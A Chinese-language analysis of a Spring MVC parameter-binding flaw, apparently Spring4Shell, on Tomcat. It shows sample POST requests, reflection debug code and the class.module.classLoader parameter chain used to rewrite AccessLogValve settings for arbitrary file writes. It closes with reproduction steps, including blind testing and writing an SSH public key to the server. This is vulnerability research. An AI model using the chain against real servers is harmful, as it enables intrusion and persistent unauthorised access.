原理大致是這樣:spring框架在傳參的時候會與當前POJO類自動參數綁定,通過“.”還可以訪問當前類的引用類型變量。使用getClass方法,通過反射機制最終獲取tomcat的日誌配置成員屬性,通過set方法,修改目錄、內容等屬性成員,達到任意文件寫入的目的。
環境:
jdk9、springmvc、tomcat8
一、先來介紹下傳參的問題:
定義2個實體類
public class User { private String username; private String password; public String getPassword() { return password; } public void setPassword(String password) { this.password = password; } public String getUsername() { return username; } public void setUsername(String username) { this.username = username; } public SubTest getSub(){ return new SubTest(); } }
public class SubTest { public void setsubfunction(String s){ System.out.println("====="); System.out.println(s); System.out.println("====="); } }
定義一個Controller類
@RestController public class HelloController { @RequestMapping("/rce") @ResponseBody public String helloTest(User user) throws IOException { System.out.println(user.getPassword()); System.out.println(user.getUsername()); return "hello spring : "; } }
不管是GET還是POST,只要是Controller接受的方式都可以傳參賦值。
利用POST方式,傳參
POST /rce HTTP/1.1 Host: 127.0.0.1:8083 Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept-Language: zh-CN,zh;q=0.9 Cookie: JSESSIONID=39A8228CB652B1A3CA4E1B49C87C40AF Connection: close Content-Length: 15 username=vpanda
這裏username=vpanda的傳參,調用了User的setUsername方法。
POST /rce HTTP/1.1 Host: 127.0.0.1:8083 Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept-Language: zh-CN,zh;q=0.9 Cookie: JSESSIONID=39A8228CB652B1A3CA4E1B49C87C40AF Connection: close Content-Length: 25 sub.subfunction=aaaaatest
這裏sub.subfunction=aaaaatest,實際調用User的getSub方法,獲得SubTest對象後實現setsubfunction方法,傳參aaaaatest,最終實現SubTest類型的setsubfunction。
輸出
=====
aaaaatest
=====
二、接下去直接看POC的利用鏈:
class.module.classLoader.resources.context.parent.pipeline.first.pattern=class.module.classLoader.resources.context.parent.pipeline.first.suffix=class.module.classLoader.resources.context.parent.pipeline.first.directory=class.module.classLoader.resources.context.parent.pipeline.first.prefix=class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
在這裏的實現邏輯是當前user對象getclass獲得了類對象,Class類中存在getModule,獲得module類對象,而Module類又存在getclassloader方法,最終返回一個類加載器。
調試輸出當前類加載器名稱
System.out.println("===classloader==="); System.out.println(classLoader); System.out.println("===classloadername==="); System.out.println(classLoader.getClass().getName()); System.out.println("========");
===classloader===
ParallelWebappClassLoader
context: ROOT
delegate: false
----------> Parent Classloader:
java.net.URLClassLoader@1b7cc17c
===classloadername===
org.apache.catalina.loader.ParallelWebappClassLoader
========
通過輸出結果可以看到當前對象的類加載器是org.apache.catalina.loader.ParallelWebappClassLoader,
ParallelWebappClassLoader繼承WebappClassLoaderBase,WebappClassLoaderBase實現了getResources是WebResourceRoot接口類型,
WebResourceRoot接口存在getContext方法,Context接口類型,繼承Container,Container實現parent和getPipeline,Pipeline接口實現getfirst,
最終得到Valve類型,通過類對象遍歷所有成員。
Valve first = parallelWebappClassLoader.getResources().getContext().getParent().getPipeline().getFirst(); Class<? extends Valve> aClass = first.getClass(); System.out.println("====DeclaredFields====="); Field[] fields = aClass.getDeclaredFields(); for (Field field : fields) { System.out.println(field); } System.out.println("====Methods====="); Method[] methods = aClass.getMethods(); for (Method method : methods) { System.out.println(method); }
輸出結果,可以看到利用鏈中幾個關鍵成員的set方法。
====DeclaredFields===== private static final org.apache.juli.logging.Log org.apache.catalina.valves.AccessLogValve.log private volatile java.lang.String org.apache.catalina.valves.AccessLogValve.dateStamp private java.lang.String org.apache.catalina.valves.AccessLogValve.directory protected volatile java.lang.String org.apache.catalina.valves.AccessLogValve.prefix protected boolean org.apache.catalina.valves.AccessLogValve.rotatable protected boolean org.apache.catalina.valves.AccessLogValve.renameOnRotate private boolean org.apache.catalina.valves.AccessLogValve.buffered protected volatile java.lang.String org.apache.catalina.valves.AccessLogValve.suffix protected java.io.PrintWriter org.apache.catalina.valves.AccessLogValve.writer protected java.text.SimpleDateFormat org.apache.catalina.valves.AccessLogValve.fileDateFormatter protected java.io.File org.apache.catalina.valves.AccessLogValve.currentLogFile private volatile long org.apache.catalina.valves.AccessLogValve.rotationLastChecked private boolean org.apache.catalina.valves.AccessLogValve.checkExists protected java.lang.String org.apache.catalina.valves.AccessLogValve.fileDateFormat protected volatile java.lang.String org.apache.catalina.valves.AccessLogValve.encoding private int org.apache.catalina.valves.AccessLogValve.maxDays private volatile boolean org.apache.catalina.valves.AccessLogValve.checkForOldLogs ====Methods===== public void org.apache.catalina.valves.AccessLogValve.log(java.io.CharArrayWriter) public synchronized boolean org.apache.catalina.valves.AccessLogValve.rotate(java.lang.String) public void org.apache.catalina.valves.AccessLogValve.rotate() public java.lang.String org.apache.catalina.valves.AccessLogValve.getEncoding() public void org.apache.catalina.valves.AccessLogValve.setEncoding(java.lang.String) public void org.apache.catalina.valves.AccessLogValve.setRotatable(boolean) public boolean org.apache.catalina.valves.AccessLogValve.isRenameOnRotate() public java.lang.String org.apache.catalina.valves.AccessLogValve.getDirectory() public void org.apache.catalina.valves.AccessLogValve.setCheckExists(boolean) public void org.apache.catalina.valves.AccessLogValve.setDirectory(java.lang.String) public boolean org.apache.catalina.valves.AccessLogValve.isRotatable() public int org.apache.catalina.valves.AccessLogValve.getMaxDays() public void org.apache.catalina.valves.AccessLogValve.setMaxDays(int) public boolean org.apache.catalina.valves.AccessLogValve.isCheckExists() public java.lang.String org.apache.catalina.valves.AccessLogValve.getFileDateFormat() public java.lang.String org.apache.catalina.valves.AccessLogValve.getSuffix() public void org.apache.catalina.valves.AccessLogValve.setRenameOnRotate(boolean) public void org.apache.catalina.valves.AccessLogValve.setBuffered(boolean) public boolean org.apache.catalina.valves.AccessLogValve.isBuffered() public void org.apache.catalina.valves.AccessLogValve.setFileDateFormat(java.lang.String) public void org.apache.catalina.valves.AccessLogValve.setSuffix(java.lang.String) public synchronized void org.apache.catalina.valves.AccessLogValve.backgroundProcess() public java.lang.String org.apache.catalina.valves.AccessLogValve.getPrefix() public void org.apache.catalina.valves.AccessLogValve.setPrefix(java.lang.String) public void org.apache.catalina.valves.AbstractAccessLogValve.invoke(org.apache.catalina.connector.Request,org.apache.catalina.connector.Response) throws java.io.IOException,javax.servlet.ServletException public void org.apache.catalina.valves.AbstractAccessLogValve.log(org.apache.catalina.connector.Request,org.apache.catalina.connector.Response,long) public int org.apache.catalina.valves.AbstractAccessLogValve.getMaxLogMessageBufferSize() public void org.apache.catalina.valves.AbstractAccessLogValve.setMaxLogMessageBufferSize(int) public void org.apache.catalina.valves.AbstractAccessLogValve.setLocale(java.lang.String) public java.lang.String org.apache.catalina.valves.AbstractAccessLogValve.getLocale() public boolean org.apache.catalina.valves.AbstractAccessLogValve.getEnabled() public java.lang.String org.apache.catalina.valves.AbstractAccessLogValve.getCondition() public void org.apache.catalina.valves.AbstractAccessLogValve.setCondition(java.lang.String) public java.lang.String org.apache.catalina.valves.AbstractAccessLogValve.getPattern() public void org.apache.catalina.valves.AbstractAccessLogValve.setConditionUnless(java.lang.String) public void org.apache.catalina.valves.AbstractAccessLogValve.setIpv6Canonical(boolean) public java.lang.String org.apache.catalina.valves.AbstractAccessLogValve.getConditionUnless() public void org.apache.catalina.valves.AbstractAccessLogValve.setPattern(java.lang.String) public boolean org.apache.catalina.valves.AbstractAccessLogValve.getIpv6Canonical() public java.lang.String org.apache.catalina.valves.AbstractAccessLogValve.getConditionIf() public void org.apache.catalina.valves.AbstractAccessLogValve.setConditionIf(java.lang.String) public void org.apache.catalina.valves.AbstractAccessLogValve.setRequestAttributesEnabled(boolean) public boolean org.apache.catalina.valves.AbstractAccessLogValve.getRequestAttributesEnabled() public void org.apache.catalina.valves.AbstractAccessLogValve.setEnabled(boolean) public java.lang.String org.apache.catalina.valves.ValveBase.toString() public org.apache.catalina.Valve org.apache.catalina.valves.ValveBase.getNext() public void org.apache.catalina.valves.ValveBase.setNext(org.apache.catalina.Valve) public java.lang.String org.apache.catalina.valves.ValveBase.getObjectNameKeyProperties() public void org.apache.catalina.valves.ValveBase.setContainer(org.apache.catalina.Container) public java.lang.String org.apache.catalina.valves.ValveBase.getDomainInternal() public org.apache.catalina.Container org.apache.catalina.valves.ValveBase.getContainer() public boolean org.apache.catalina.valves.ValveBase.isAsyncSupported() public void org.apache.catalina.valves.ValveBase.setAsyncSupported(boolean) public final javax.management.ObjectName org.apache.catalina.util.LifecycleMBeanBase.getObjectName() public final java.lang.String org.apache.catalina.util.LifecycleMBeanBase.getDomain() public final javax.management.ObjectName org.apache.catalina.util.LifecycleMBeanBase.preRegister(javax.management.MBeanServer,javax.management.ObjectName) throws java.lang.Exception public final void org.apache.catalina.util.LifecycleMBeanBase.postRegister(java.lang.Boolean) public final void org.apache.catalina.util.LifecycleMBeanBase.preDeregister() throws java.lang.Exception public final void org.apache.catalina.util.LifecycleMBeanBase.postDeregister() public final void org.apache.catalina.util.LifecycleMBeanBase.setDomain(java.lang.String) public final synchronized void org.apache.catalina.util.LifecycleBase.init() throws org.apache.catalina.LifecycleException public final synchronized void org.apache.catalina.util.LifecycleBase.start() throws org.apache.catalina.LifecycleException public final synchronized void org.apache.catalina.util.LifecycleBase.stop() throws org.apache.catalina.LifecycleException public final synchronized void org.apache.catalina.util.LifecycleBase.destroy() throws org.apache.catalina.LifecycleException public org.apache.catalina.LifecycleState org.apache.catalina.util.LifecycleBase.getState() public java.lang.String org.apache.catalina.util.LifecycleBase.getStateName() public void org.apache.catalina.util.LifecycleBase.addLifecycleListener(org.apache.catalina.LifecycleListener) public void org.apache.catalina.util.LifecycleBase.removeLifecycleListener(org.apache.catalina.LifecycleListener) public org.apache.catalina.LifecycleListener[] org.apache.catalina.util.LifecycleBase.findLifecycleListeners() public boolean org.apache.catalina.util.LifecycleBase.getThrowOnFailure() public void org.apache.catalina.util.LifecycleBase.setThrowOnFailure(boolean) public final void java.lang.Object.wait(long,int) throws java.lang.InterruptedException public final void java.lang.Object.wait() throws java.lang.InterruptedException public final native void java.lang.Object.wait(long) throws java.lang.InterruptedException public boolean java.lang.Object.equals(java.lang.Object) public native int java.lang.Object.hashCode() public final native java.lang.Class java.lang.Object.getClass() public final native void java.lang.Object.notify() public final native void java.lang.Object.notifyAll()
三、復現
在本地測試實現任意文件寫入
將war包傳到服務器,盲打測試
如果使用root權限拉起了tomcat,嘗試將ssh公鑰寫入服務器。